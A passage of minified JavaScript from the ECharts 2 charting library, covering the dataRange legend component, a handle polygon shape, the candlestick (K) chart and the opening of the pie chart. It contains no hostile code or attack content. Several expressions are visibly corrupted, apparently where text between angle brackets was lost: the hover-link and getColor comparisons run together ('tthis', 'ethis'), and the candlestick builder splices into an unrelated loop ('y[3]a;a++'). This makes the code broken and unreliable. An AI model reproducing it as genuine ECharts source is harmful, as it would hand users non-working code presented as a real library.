n(i))),"horizontal"==this.dataRangeOption.orient?m+=U+(u?5:0)+(u?h.getTextWidth(e,l):0)+p:V+=d+p;!u&&this.dataRangeOption.text[1]&&("horizontal"==this.dataRangeOption.orient?m=m-p+this._textGap:V=V-p+this._textGap,i=this._getTextShape(m,V,this.dataRangeOption.text[1]),"horizontal"!=this.dataRangeOption.orient&&(i.style.y-=5,i.style.textBaseline="top"),this.shapeList.push(new n(i)))},_buildGradient:function(){var t,i,o=this.getFont(this.dataRangeOption.textStyle),r=this._itemGroupLocation.x,s=this._itemGroupLocation.y,l=this.dataRangeOption.itemWidth,m=this.dataRangeOption.itemHeight,V=h.getTextHeight("国",o),U=10,d=!0;this.dataRangeOption.text&&(d=!1,this.dataRangeOption.text[0]&&(i=this._getTextShape(r,s,this.dataRangeOption.text[0]),"horizontal"==this.dataRangeOption.orient?r+=h.getTextWidth(this.dataRangeOption.text[0],o)+this._textGap:(s+=V+this._textGap,i.style.y+=V/2+this._textGap,i.style.textBaseline="bottom"),this.shapeList.push(new n(i))));for(var p=e("zrender/tool/color"),c=1/(this.dataRangeOption.color.length-1),u=[],y=0,g=this.dataRangeOption.color.length;g>y;y++)u.push([y*c,this.dataRangeOption.color[y]]);"horizontal"==this.dataRangeOption.orient?(t={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:r,y:s,width:l*U,height:m,color:p.getLinearGradient(r,s,r+l*U,s,u)},hoverable:!1},r+=l*U+this._textGap):(t={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:r,y:s,width:l,height:m*U,color:p.getLinearGradient(r,s,r,s+m*U,u)},hoverable:!1},s+=m*U+this._textGap),this.shapeList.push(new a(t)),this._calculableLocation=t.style,this.dataRangeOption.calculable&&(this._buildFiller(),this._bulidMask(),this._bulidHandle()),this._buildIndicator(),!d&&this.dataRangeOption.text[1]&&(i=this._getTextShape(r,s,this.dataRangeOption.text[1]),this.shapeList.push(new n(i)))},_buildIndicator:function(){var e,t,i=this._calculableLocation.x,n=this._calculableLocation.y,a=this._calculableLocation.width,r=this._calculableLocation.height,s=5;"horizontal"==this.dataRangeOption.orient?"bottom"!=this.dataRangeOption.y?(e=[[i,n+r],[i-s,n+r+s],[i+s,n+r+s]],t="bottom"):(e=[[i,n],[i-s,n-s],[i+s,n-s]],t="top"):"right"!=this.dataRangeOption.x?(e=[[i+a,n],[i+a+s,n-s],[i+a+s,n+s]],t="right"):(e=[[i,n],[i-s,n-s],[i-s,n+s]],t="left"),this._indicatorShape={style:{pointList:e,color:"#fff",__rect:{x:Math.min(e[0][0],e[1][0]),y:Math.min(e[0][1],e[1][1]),width:s*("horizontal"==this.dataRangeOption.orient?2:1),height:s*("horizontal"==this.dataRangeOption.orient?1:2)}},highlightStyle:{brushType:"fill",textPosition:t,textColor:this.dataRangeOption.textStyle.color},hoverable:!1},this._indicatorShape=new o(this._indicatorShape)},_buildFiller:function(){this._fillerShape={zlevel:this.getZlevelBase(),z:this.getZBase()+1,style:{x:this._calculableLocation.x,y:this._calculableLocation.y,width:this._calculableLocation.width,height:this._calculableLocation.height,color:"rgba(255,255,255,0)"},highlightStyle:{strokeColor:"rgba(255,255,255,0.5)",lineWidth:1},draggable:!0,ondrift:this._ondrift,ondragend:this._ondragend,onmousemove:this._dispatchHoverLink,_type:"filler"},this._fillerShape=new a(this._fillerShape),this.shapeList.push(this._fillerShape)},_bulidHandle:function(){var e,t,i,n,a,r,s,l,m=this._calculableLocation.x,V=this._calculableLocation.y,U=this._calculableLocation.width,d=this._calculableLocation.height,p=this.getFont(this.dataRangeOption.textStyle),c=h.getTextHeight("国",p),u=Math.max(h.getTextWidth(this._textFormat(this.dataRangeOption.max),p),h.getTextWidth(this._textFormat(this.dataRangeOption.min),p))+2;"horizontal"==this.dataRangeOption.orient?"bottom"!=this.dataRangeOption.y?(e=[[m,V],[m,V+d+c],[m-c,V+d+c],[m-1,V+d],[m-1,V]],t=m-u/2-c,i=V+d+c/2+2,n={x:m-u-c,y:V+d,width:u+c,height:c},a=[[m+U,V],[m+U,V+d+c],[m+U+c,V+d+c],[m+U+1,V+d],[m+U+1,V]],r=m+U+u/2+c,s=i,l={x:m+U,y:V+d,width:u+c,height:c}):(e=[[m,V+d],[m,V-c],[m-c,V-c],[m-1,V],[m-1,V+d]],t=m-u/2-c,i=V-c/2-2,n={x:m-u-c,y:V-c,width:u+c,height:c},a=[[m+U,V+d],[m+U,V-c],[m+U+c,V-c],[m+U+1,V],[m+U+1,V+d]],r=m+U+u/2+c,s=i,l={x:m+U,y:V-c,width:u+c,height:c}):(u+=c,"right"!=this.dataRangeOption.x?(e=[[m,V],[m+U+c,V],[m+U+c,V-c],[m+U,V-1],[m,V-1]],t=m+U+u/2+c/2,i=V-c/2,n={x:m+U,y:V-c,width:u+c,height:c},a=[[m,V+d],[m+U+c,V+d],[m+U+c,V+c+d],[m+U,V+1+d],[m,V+d+1]],r=t,s=V+d+c/2,l={x:m+U,y:V+d,width:u+c,height:c}):(e=[[m+U,V],[m-c,V],[m-c,V-c],[m,V-1],[m+U,V-1]],t=m-u/2-c/2,i=V-c/2,n={x:m-u-c,y:V-c,width:u+c,height:c},a=[[m+U,V+d],[m-c,V+d],[m-c,V+c+d],[m,V+1+d],[m+U,V+d+1]],r=t,s=V+d+c/2,l={x:m-u-c,y:V+d,width:u+c,height:c})),this._startShape={style:{pointList:e,text:this._textFormat(this.dataRangeOption.max),textX:t,textY:i,textFont:p,color:this.getColor(this.dataRangeOption.max),rect:n,x:e[0][0],y:e[0][1],_x:e[0][0],_y:e[0][1]}},this._startShape.highlightStyle={strokeColor:this._startShape.style.color,lineWidth:1},this._endShape={style:{pointList:a,text:this._textFormat(this.dataRangeOption.min),textX:r,textY:s,textFont:p,color:this.getColor(this.dataRangeOption.min),rect:l,x:a[0][0],y:a[0][1],_x:a[0][0],_y:a[0][1]}},this._endShape.highlightStyle={strokeColor:this._endShape.style.color,lineWidth:1},this._startShape.zlevel=this._endShape.zlevel=this.getZlevelBase(),this._startShape.z=this._endShape.z=this.getZBase()+1,this._startShape.draggable=this._endShape.draggable=!0,this._startShape.ondrift=this._endShape.ondrift=this._ondrift,this._startShape.ondragend=this._endShape.ondragend=this._ondragend,this._startShape.style.textColor=this._endShape.style.textColor=this.dataRangeOption.textStyle.color,this._startShape.style.textAlign=this._endShape.style.textAlign="center",this._startShape.style.textPosition=this._endShape.style.textPosition="specific",this._startShape.style.textBaseline=this._endShape.style.textBaseline="middle",this._startShape.style.width=this._endShape.style.width=0,this._startShape.style.height=this._endShape.style.height=0,this._startShape.style.textPosition=this._endShape.style.textPosition="specific",this._startShape=new o(this._startShape),this._endShape=new o(this._endShape),this.shapeList.push(this._startShape),this.shapeList.push(this._endShape)},_bulidMask:function(){var e=this._calculableLocation.x,t=this._calculableLocation.y,i=this._calculableLocation.width,n=this._calculableLocation.height;this._startMask={zlevel:this.getZlevelBase(),z:this.getZBase()+1,style:{x:e,y:t,width:"horizontal"==this.dataRangeOption.orient?0:i,height:"horizontal"==this.dataRangeOption.orient?n:0,color:"#ccc"},hoverable:!1},this._endMask={zlevel:this.getZlevelBase(),z:this.getZBase()+1,style:{x:"horizontal"==this.dataRangeOption.orient?e+i:e,y:"horizontal"==this.dataRangeOption.orient?t:t+n,width:"horizontal"==this.dataRangeOption.orient?0:i,height:"horizontal"==this.dataRangeOption.orient?n:0,color:"#ccc"},hoverable:!1},this._startMask=new a(this._startMask),this._endMask=new a(this._endMask),this.shapeList.push(this._startMask),this.shapeList.push(this._endMask)},_buildBackground:function(){var e=this.reformCssArray(this.dataRangeOption.padding);this.shapeList.push(new a({zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this._itemGroupLocation.x-e[3],y:this._itemGroupLocation.y-e[0],width:this._itemGroupLocation.width+e[3]+e[1],height:this._itemGroupLocation.height+e[0]+e[2],brushType:0===this.dataRangeOption.borderWidth?"fill":"both",color:this.dataRangeOption.backgroundColor,strokeColor:this.dataRangeOption.borderColor,lineWidth:this.dataRangeOption.borderWidth}}))},_getItemGroupLocation:function(){var e=this._valueTextList,t=e.length,i=this.dataRangeOption.itemGap,n=this.dataRangeOption.itemWidth,a=this.dataRangeOption.itemHeight,o=0,r=0,s=this.getFont(this.dataRangeOption.textStyle),l=h.getTextHeight("国",s),m=10;if("horizontal"==this.dataRangeOption.orient){if(this.dataRangeOption.text||this._isContinuity())o=(this._isContinuity()?n*m+i:t*(n+i))+(this.dataRangeOption.text&&"undefined"!=typeof this.dataRangeOption.text[0]?h.getTextWidth(this.dataRangeOption.text[0],s)+this._textGap:0)+(this.dataRangeOption.text&&"undefined"!=typeof this.dataRangeOption.text[1]?h.getTextWidth(this.dataRangeOption.text[1],s)+this._textGap:0);else{n+=5;for(var V=0;t>V;V++)o+=n+h.getTextWidth(e[V],s)+i}o-=i,r=Math.max(l,a)}else{var U;if(this.dataRangeOption.text||this._isContinuity())r=(this._isContinuity()?a*m+i:t*(a+i))+(this.dataRangeOption.text&&"undefined"!=typeof this.dataRangeOption.text[0]?this._textGap+l:0)+(this.dataRangeOption.text&&"undefined"!=typeof this.dataRangeOption.text[1]?this._textGap+l:0),U=Math.max(h.getTextWidth(this.dataRangeOption.text&&this.dataRangeOption.text[0]||"",s),h.getTextWidth(this.dataRangeOption.text&&this.dataRangeOption.text[1]||"",s)),o=Math.max(n,U);else{r=(a+i)*t,n+=5,U=0;for(var V=0;t>V;V++)U=Math.max(U,h.getTextWidth(e[V],s));o=n+U}r-=i}var d,p=this.reformCssArray(this.dataRangeOption.padding),c=this.zr.getWidth();switch(this.dataRangeOption.x){case"center":d=Math.floor((c-o)/2);break;case"left":d=p[3]+this.dataRangeOption.borderWidth;break;case"right":d=c-o-p[1]-this.dataRangeOption.borderWidth;break;default:d=this.parsePercent(this.dataRangeOption.x,c),d=isNaN(d)?0:d}var u,y=this.zr.getHeight();switch(this.dataRangeOption.y){case"top":u=p[0]+this.dataRangeOption.borderWidth;break;case"bottom":u=y-r-p[2]-this.dataRangeOption.borderWidth;break;case"center":u=Math.floor((y-r)/2);break;default:u=this.parsePercent(this.dataRangeOption.y,y),u=isNaN(u)?0:u}if(this.dataRangeOption.calculable){var g=Math.max(h.getTextWidth(this.dataRangeOption.max,s),h.getTextWidth(this.dataRangeOption.min,s))+l;"horizontal"==this.dataRangeOption.orient?(g>d&&(d=g),d+o+g>c&&(d-=g)):(l>u&&(u=l),u+r+l>y&&(u-=l))}return{x:d,y:u,width:o,height:r}},_getTextShape:function(e,t,i){return{zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:"horizontal"==this.dataRangeOption.orient?e:this._itemGroupLocation.x+this._itemGroupLocation.width/2,y:"horizontal"==this.dataRangeOption.orient?this._itemGroupLocation.y+this._itemGroupLocation.height/2:t,color:this.dataRangeOption.textStyle.color,text:i,textFont:this.getFont(this.dataRangeOption.textStyle),textBaseline:"horizontal"==this.dataRangeOption.orient?"middle":"top",textAlign:"horizontal"==this.dataRangeOption.orient?"left":"center"},hoverable:!1}},_getItemShape:function(e,t,i,n,a){return{zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:e,y:t+1,width:i,height:n-2,color:a},highlightStyle:{strokeColor:a,lineWidth:1}}},__ondrift:function(e,t,i){var n=this._calculableLocation.x,a=this._calculableLocation.y,o=this._calculableLocation.width,r=this._calculableLocation.height;return"horizontal"==this.dataRangeOption.orient?e.style.x+t<=n?e.style.x=n:e.style.x+t+e.style.width>=n+o?e.style.x=n+o-e.style.width:e.style.x+=t:e.style.y+i<=a?e.style.y=a:e.style.y+i+e.style.height>=a+r?e.style.y=a+r-e.style.height:e.style.y+=i,"filler"==e._type?this._syncHandleShape():this._syncFillerShape(e),this.dataRangeOption.realtime&&this._dispatchDataRange(),!0},__ondragend:function(){this.isDragend=!0},ondragend:function(e,t){this.isDragend&&e.target&&(t.dragOut=!0,t.dragIn=!0,this.dataRangeOption.realtime||this._dispatchDataRange(),t.needRefresh=!1,this.isDragend=!1)},_syncShapeFromRange:function(){var e=this.dataRangeOption.range||{},t=e.start,i=e.end;if(t>i&&(t=[i,i=t][0]),this._range.end=null!=t?t:null!=this._range.end?this._range.end:0,this._range.start=null!=i?i:null!=this._range.start?this._range.start:100,100!=this._range.start||0!==this._range.end){if("horizontal"==this.dataRangeOption.orient){var n=this._fillerShape.style.width;this._fillerShape.style.x+=n*(100-this._range.start)/100,this._fillerShape.style.width=n*(this._range.start-this._range.end)/100}else{var a=this._fillerShape.style.height;this._fillerShape.style.y+=a*(100-this._range.start)/100,this._fillerShape.style.height=a*(this._range.start-this._range.end)/100}this.zr.modShape(this._fillerShape.id),this._syncHandleShape()}},_syncHandleShape:function(){var e=this._calculableLocation.x,t=this._calculableLocation.y,i=this._calculableLocation.width,n=this._calculableLocation.height;"horizontal"==this.dataRangeOption.orient?(this._startShape.style.x=this._fillerShape.style.x,this._startMask.style.width=this._startShape.style.x-e,this._endShape.style.x=this._fillerShape.style.x+this._fillerShape.style.width,this._endMask.style.x=this._endShape.style.x,this._endMask.style.width=e+i-this._endShape.style.x,this._range.start=Math.ceil(100-(this._startShape.style.x-e)/i*100),this._range.end=Math.floor(100-(this._endShape.style.x-e)/i*100)):(this._startShape.style.y=this._fillerShape.style.y,this._startMask.style.height=this._startShape.style.y-t,this._endShape.style.y=this._fillerShape.style.y+this._fillerShape.style.height,this._endMask.style.y=this._endShape.style.y,this._endMask.style.height=t+n-this._endShape.style.y,this._range.start=Math.ceil(100-(this._startShape.style.y-t)/n*100),this._range.end=Math.floor(100-(this._endShape.style.y-t)/n*100)),this._syncShape()},_syncFillerShape:function(e){var t,i,n=this._calculableLocation.x,a=this._calculableLocation.y,o=this._calculableLocation.width,r=this._calculableLocation.height;"horizontal"==this.dataRangeOption.orient?(t=this._startShape.style.x,i=this._endShape.style.x,e.id==this._startShape.id&&t>=i?(i=t,this._endShape.style.x=t):e.id==this._endShape.id&&t>=i&&(t=i,this._startShape.style.x=t),this._fillerShape.style.x=t,this._fillerShape.style.width=i-t,this._startMask.style.width=t-n,this._endMask.style.x=i,this._endMask.style.width=n+o-i,this._range.start=Math.ceil(100-(t-n)/o*100),this._range.end=Math.floor(100-(i-n)/o*100)):(t=this._startShape.style.y,i=this._endShape.style.y,e.id==this._startShape.id&&t>=i?(i=t,this._endShape.style.y=t):e.id==this._endShape.id&&t>=i&&(t=i,this._startShape.style.y=t),this._fillerShape.style.y=t,this._fillerShape.style.height=i-t,this._startMask.style.height=t-a,this._endMask.style.y=i,this._endMask.style.height=a+r-i,this._range.start=Math.ceil(100-(t-a)/r*100),this._range.end=Math.floor(100-(i-a)/r*100)),this._syncShape()},_syncShape:function(){this._startShape.position=[this._startShape.style.x-this._startShape.style._x,this._startShape.style.y-this._startShape.style._y],this._startShape.style.text=this._textFormat(this._gap*this._range.start+this.dataRangeOption.min),this._startShape.style.color=this._startShape.highlightStyle.strokeColor=this.getColor(this._gap*this._range.start+this.dataRangeOption.min),this._endShape.position=[this._endShape.style.x-this._endShape.style._x,this._endShape.style.y-this._endShape.style._y],this._endShape.style.text=this._textFormat(this._gap*this._range.end+this.dataRangeOption.min),this._endShape.style.color=this._endShape.highlightStyle.strokeColor=this.getColor(this._gap*this._range.end+this.dataRangeOption.min),this.zr.modShape(this._startShape.id),this.zr.modShape(this._endShape.id),this.zr.modShape(this._startMask.id),this.zr.modShape(this._endMask.id),this.zr.modShape(this._fillerShape.id),this.zr.refreshNextFrame()},_dispatchDataRange:function(){this.messageCenter.dispatch(r.EVENT.DATA_RANGE,null,{range:{start:this._range.end,end:this._range.start}},this.myChart)},__dataRangeSelected:function(e){if("single"===this.dataRangeOption.selectedMode)for(var t in this._selectedMap)this._selectedMap[t]=!1;var i=e.target._idx;this._selectedMap[i]=!this._selectedMap[i];var n,a;this._useCustomizedSplit()?(n=this._splitList[i].max,a=this._splitList[i].min):(n=(this._colorList.length-i)*this._gap+this.dataRangeOption.min,a=n-this._gap),this.messageCenter.dispatch(r.EVENT.DATA_RANGE_SELECTED,e.event,{selected:this._selectedMap,target:i,valueMax:n,valueMin:a},this.myChart),this.messageCenter.dispatch(r.EVENT.REFRESH,null,null,this.myChart)},__dispatchHoverLink:function(e){var t,i;if(this.dataRangeOption.calculable){var n,a=this.dataRangeOption.max-this.dataRangeOption.min;n="horizontal"==this.dataRangeOption.orient?(1-(l.getX(e.event)-this._calculableLocation.x)/this._calculableLocation.width)*a:(1-(l.getY(e.event)-this._calculableLocation.y)/this._calculableLocation.height)*a,t=n-.05*a,i=n+.05*a}else if(this._useCustomizedSplit()){var o=e.target._idx;i=this._splitList[o].max,t=this._splitList[o].min}else{var o=e.target._idx;i=(this._colorList.length-o)*this._gap+this.dataRangeOption.min,t=i-this._gap}this.messageCenter.dispatch(r.EVENT.DATA_RANGE_HOVERLINK,e.event,{valueMin:t,valueMax:i},this.myChart)},__onhoverlink:function(e){if(this.dataRangeOption.show&&this.dataRangeOption.hoverLink&&this._indicatorShape&&e&&null!=e.seriesIndex&&null!=e.dataIndex){var t=e.value;if(""===t||isNaN(t))return;tthis.dataRangeOption.max&&(t=this.dataRangeOption.max),this._indicatorShape.position="horizontal"==this.dataRangeOption.orient?[(this.dataRangeOption.max-t)/(this.dataRangeOption.max-this.dataRangeOption.min)*this._calculableLocation.width,0]:[0,(this.dataRangeOption.max-t)/(this.dataRangeOption.max-this.dataRangeOption.min)*this._calculableLocation.height],this._indicatorShape.style.text=this._textFormat(e.value),this._indicatorShape.style.color=this.getColor(t),this.zr.addHoverShape(this._indicatorShape)}},_textFormat:function(e,t){var i=this.dataRangeOption;if(e!==-Number.MAX_VALUE&&(e=(+e).toFixed(i.precision)),null!=t&&t!==Number.MAX_VALUE&&(t=(+t).toFixed(i.precision)),i.formatter){if("string"==typeof i.formatter)return i.formatter.replace("{value}",e===-Number.MAX_VALUE?"min":e).replace("{value2}",t===Number.MAX_VALUE?"max":t);if("function"==typeof i.formatter)return i.formatter.call(this.myChart,e,t)}return null==t?e:e===-Number.MAX_VALUE?"< "+t:t===Number.MAX_VALUE?"> "+e:e+" - "+t},_isContinuity:function(){var e=this.dataRangeOption;return!(e.splitList?e.splitList.length>0:e.splitNumber>0)||e.calculable},_useCustomizedSplit:function(){var e=this.dataRangeOption;return e.splitList&&e.splitList.length>0},_buildColorList:function(e){if(this._colorList=m.getGradientColors(this.dataRangeOption.color,Math.max((e-this.dataRangeOption.color.length)/(this.dataRangeOption.color.length-1),0)+1),this._colorList.length>e){for(var t=this._colorList.length,i=[this._colorList[0]],n=t/(e-1),a=1;e-1>a;a++)i.push(this._colorList[Math.floor(a*n)]);i.push(this._colorList[t-1]),this._colorList=i}if(this._useCustomizedSplit())for(var o=this._splitList,a=0,t=o.length;t>a;a++)o[a].color&&(this._colorList[a]=o[a].color)},_buildGap:function(e){if(!this._useCustomizedSplit()){var t=this.dataRangeOption.precision;for(this._gap=(this.dataRangeOption.max-this.dataRangeOption.min)/e;this._gap.toFixed(t)-0!=this._gap&&5>t;)t++;this.dataRangeOption.precision=t,this._gap=((this.dataRangeOption.max-this.dataRangeOption.min)/e).toFixed(t)-0}},_buildDataList:function(e){for(var t=this._valueTextList=[],i=this.dataRangeOption,n=this._useCustomizedSplit(),a=0;e>a;a++){this._selectedMap[a]=!0;var o="";if(n){var r=this._splitList[e-1-a];o=null!=r.label?r.label:null!=r.single?this._textFormat(r.single):this._textFormat(r.min,r.max)}else o=this._textFormat(a*this._gap+i.min,(a+1)*this._gap+i.min);t.unshift(o)}},_buildSplitList:function(){if(this._useCustomizedSplit())for(var e=this.dataRangeOption.splitList,t=this._splitList=[],i=0,n=e.length;n>i;i++){var a=e[i];if(!a||null==a.start&&null==a.end)throw new Error("Empty item exists in splitList!");var o={label:a.label,color:a.color};o.min=a.start,o.max=a.end,o.min>o.max&&(o.min=[o.max,o.max=o.min][0]),o.min===o.max&&(o.single=o.max),null==o.min&&(o.min=-Number.MAX_VALUE),null==o.max&&(o.max=Number.MAX_VALUE),t.push(o)}},refresh:function(e){if(e){this.option=e,this.option.dataRange=this.reformOption(this.option.dataRange);var t=this.dataRangeOption=this.option.dataRange;if(!this._useCustomizedSplit()&&(null==t.min||null==t.max))throw new Error("option.dataRange.min or option.dataRange.max has not been defined.");this.myChart.canvasSupported||(t.realtime=!1);var i=this._isContinuity()?100:this._useCustomizedSplit()?t.splitList.length:t.splitNumber;this._buildSplitList(),this._buildColorList(i),this._buildGap(i),this._buildDataList(i)}this.clear(),this._buildShape()},getColor:function(e){if(isNaN(e))return null;var t;if(this._useCustomizedSplit()){for(var i=this._splitList,n=0,a=i.length;a>n;n++)if(i[n].min<=e&&i[n].max>=e){t=n;break}}else{if(this.dataRangeOption.min==this.dataRangeOption.max)return this._colorList[0];if(ethis.dataRangeOption.max&&(e=this.dataRangeOption.max),this.dataRangeOption.calculable&&(e-(this._gap*this._range.start+this.dataRangeOption.min)>5e-5||e-(this._gap*this._range.end+this.dataRangeOption.min)<-5e-5))return null;t=this._colorList.length-Math.ceil((e-this.dataRangeOption.min)/(this.dataRangeOption.max-this.dataRangeOption.min)*this._colorList.length),t==this._colorList.length&&t--}return this._selectedMap[t]?this._colorList[t]:null},getColorByIndex:function(e){return e>=this._colorList.length?e=this._colorList.length-1:0>e&&(e=0),this._colorList[e]},onbeforDispose:function(){this.messageCenter.unbind(r.EVENT.HOVER,this._onhoverlink)}},s.inherits(t,i),e("../component").define("dataRange",t),t}),i("echarts/util/shape/HandlePolygon",["require","zrender/shape/Base","zrender/shape/Polygon","zrender/tool/util"],function(e){function t(e){i.call(this,e)}var i=e("zrender/shape/Base"),n=e("zrender/shape/Polygon"),a=e("zrender/tool/util");return t.prototype={type:"handle-polygon",buildPath:function(e,t){n.prototype.buildPath(e,t)},isCover:function(e,t){var i=this.transformCoordToLocal(e,t);e=i[0],t=i[1];var n=this.style.rect;return e>=n.x&&e<=n.x+n.width&&t>=n.y&&t<=n.y+n.height?!0:!1}},a.inherits(t,i),t}),i("echarts/chart/k",["require","./base","../util/shape/Candle","../component/axis","../component/grid","../component/dataZoom","../config","../util/ecData","zrender/tool/util","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("../util/shape/Candle");e("../component/axis"),e("../component/grid"),e("../component/dataZoom");var a=e("../config");a.k={zlevel:0,z:2,clickable:!0,hoverable:!0,legendHoverLink:!1,xAxisIndex:0,yAxisIndex:0,itemStyle:{normal:{color:"#fff",color0:"#00aa11",lineStyle:{width:1,color:"#ff3200",color0:"#00aa11"},label:{show:!1}},emphasis:{label:{show:!1}}}};var o=e("../util/ecData"),r=e("zrender/tool/util");return t.prototype={type:a.CHART_TYPE_K,_buildShape:function(){var e=this.series;this.selectedMap={};for(var t,i={top:[],bottom:[]},n=0,o=e.length;o>n;n++)e[n].type===a.CHART_TYPE_K&&(e[n]=this.reformOption(e[n]),this.legendHoverLink=e[n].legendHoverLink||this.legendHoverLink,t=this.component.xAxis.getAxis(e[n].xAxisIndex),t.type===a.COMPONENT_TYPE_AXIS_CATEGORY&&i[t.getPosition()].push(n));for(var r in i)i[r].length>0&&this._buildSinglePosition(r,i[r]);this.addShapeList()},_buildSinglePosition:function(e,t){var i=this._mapData(t),n=i.locationMap,a=i.maxDataLength;if(0!==a&&0!==n.length){this._buildHorizontal(t,a,n);for(var o=0,r=t.length;r>o;o++)this.buildMark(t[o])}},_mapData:function(e){for(var t,i,n=this.series,a=this.component.legend,o=[],r=0,s=0,l=e.length;l>s;s++)t=n[e[s]],i=t.name,this.selectedMap[i]=a?a.isSelected(i):!0,this.selectedMap[i]&&o.push(e[s]),r=Math.max(r,t.data.length);return{locationMap:o,maxDataLength:r}},_buildHorizontal:function(e,t,i){for(var n,a,o,r,s,l,h,m,V,U,d=this.series,p={},c=0,u=i.length;u>c;c++){n=i[c],a=d[n],o=a.xAxisIndex||0,r=this.component.xAxis.getAxis(o),h=a.barWidth||Math.floor(r.getGap()/2),U=a.barMaxWidth,U&&h>U&&(h=U),s=a.yAxisIndex||0,l=this.component.yAxis.getAxis(s),p[n]=[];for(var y=0,g=t;g>y&&null!=r.getNameByIndex(y);y++)m=a.data[y],V=this.getDataFromOption(m,"-"),"-"!==V&&4==V.length&&p[n].push([r.getCoordByIndex(y),h,l.getCoord(V[0]),l.getCoord(V[1]),l.getCoord(V[2]),l.getCoord(V[3]),y,r.getNameByIndex(y)])}this._buildKLine(e,p)},_buildKLine:function(e,t){for(var i,n,o,r,s,l,h,m,V,U,d,p,c,u,y,g,b,f=this.series,k=0,x=e.length;x>k;k++)if(b=e[k],d=f[b],u=t[b],this._isLarge(u)&&(u=this._getLargePointList(u)),d.type===a.CHART_TYPE_K&&null!=u){p=d,i=this.query(p,"itemStyle.normal.lineStyle.width"),n=this.query(p,"itemStyle.normal.lineStyle.color"),o=this.query(p,"itemStyle.normal.lineStyle.color0"),r=this.query(p,"itemStyle.normal.color"),s=this.query(p,"itemStyle.normal.color0"),l=this.query(p,"itemStyle.emphasis.lineStyle.width"),h=this.query(p,"itemStyle.emphasis.lineStyle.color"),m=this.query(p,"itemStyle.emphasis.lineStyle.color0"),V=this.query(p,"itemStyle.emphasis.color"),U=this.query(p,"itemStyle.emphasis.color0");for(var _=0,L=u.length;L>_;_++)y=u[_],c=d.data[y[6]],p=c,g=y[3]a;a++)n[a]=e[Math.floor(i/t*a)];return n},_getCandle:function(e,t,i,a,r,s,l,h,m,V,U,d,p,c,u){var y=this.series,g=y[e],b=g.data[t],f=[b,g],k={zlevel:g.zlevel,z:g.z,clickable:this.deepQuery(f,"clickable"),hoverable:this.deepQuery(f,"hoverable"),style:{x:a,y:[s,l,h,m],width:r,color:V,strokeColor:d,lineWidth:U,brushType:"both"},highlightStyle:{color:p,strokeColor:u,lineWidth:c},_seriesIndex:e};return k=this.addLabel(k,g,b,i),o.pack(k,g,e,b,t,i),k=new n(k)},getMarkCoord:function(e,t){var i=this.series[e],n=this.component.xAxis.getAxis(i.xAxisIndex),a=this.component.yAxis.getAxis(i.yAxisIndex);return["string"!=typeof t.xAxis&&n.getCoordByIndex?n.getCoordByIndex(t.xAxis||0):n.getCoord(t.xAxis||0),"string"!=typeof t.yAxis&&a.getCoordByIndex?a.getCoordByIndex(t.yAxis||0):a.getCoord(t.yAxis||0)]},refresh:function(e){e&&(this.option=e,this.series=e.series),this.backupShapeList(),this._buildShape()},addDataAnimation:function(e,t){function i(){p--,0===p&&t&&t()}for(var n=this.series,a={},r=0,s=e.length;s>r;r++)a[e[r][0]]=e[r];for(var l,h,m,V,U,d,p=0,r=0,s=this.shapeList.length;s>r;r++)if(U=this.shapeList[r]._seriesIndex,a[U]&&!a[U][3]&&"candle"===this.shapeList[r].type){if(d=o.get(this.shapeList[r],"dataIndex"),V=n[U],a[U][2]&&d===V.data.length-1){this.zr.delShape(this.shapeList[r].id);continue}if(!a[U][2]&&0===d){this.zr.delShape(this.shapeList[r].id);continue}h=this.component.xAxis.getAxis(V.xAxisIndex||0).getGap(),l=a[U][2]?h:-h,m=0,p++,this.zr.animate(this.shapeList[r].id,"").when(this.query(this.option,"animationDurationUpdate"),{position:[l,m]}).done(i).start()}p||t&&t()}},r.inherits(t,i),e("../chart").define("k",t),t}),i("echarts/chart/pie",["require","./base","zrender/shape/Text","zrender/shape/Ring","zrender/shape/Circle","zrender/shape/Sector","zrender/shape/Polyline","../config","../util/ecData","zrender/tool/util","zrender/tool/math","zrender/tool/color","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o);var r=this;r.shapeHandler.onmouseover=function(e){var t=e.target,i=h.get(t,"seriesIndex"),n=h.get(t,"dataIndex"),a=h.get(t,"special"),o=[t.style.x,t.style.y],s=t.style.startAngle,l=t.style.endAngle,m=((l+s)/2+360)%360,V=t.highlightStyle.color,U=r.getLabel(i,n,a,o,m,V,!0);U&&r.zr.addHoverShape(U);var d=r.getLabelLine(i,n,o,t.style.r0,t.style.r,m,V,!0);d&&r.zr.addHoverShape(d)},this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Ring"),o=e("zrender/shape/Circle"),r=e("zrender/shape/Sector"),s=e("zrender/shape/Polyline"),l=e("../config");l.pie={zlevel:0,z:2,clickable:!0,legendHoverLink:!0,center:["50%","50%"],radius:[0,"75%"],clockWise:!0,startAngle:90,minAngle:0,selectedOffset:10,itemStyle:{normal:{borderColor:"rgba(0,0,0,0)",borderWidth:1,label:{show:!0,position:"outer"},labelLine:{show:!0,length:20,lineStyle:{width:1,type:"solid"}}},emphasis:{borderColor:"rgba(0,0,0,0)",borderWidth:1,label:{show:!1},labelLine:{show:!1,length:20,lineStyle:{width:1,type:"solid"}}}}};var h=e("../util/ecData"),m=e("zrender/tool/util"),V=e("zrender/tool/math"),U=e("zrender/tool/color");return t.prototype={type:l.CHART_TYPE_PIE,_buildShape:function(){var e=this.series,t=this.component.legend;this.selectedMap={},this._selected={};var i,n,r;this._selectedMode=!1;for(var 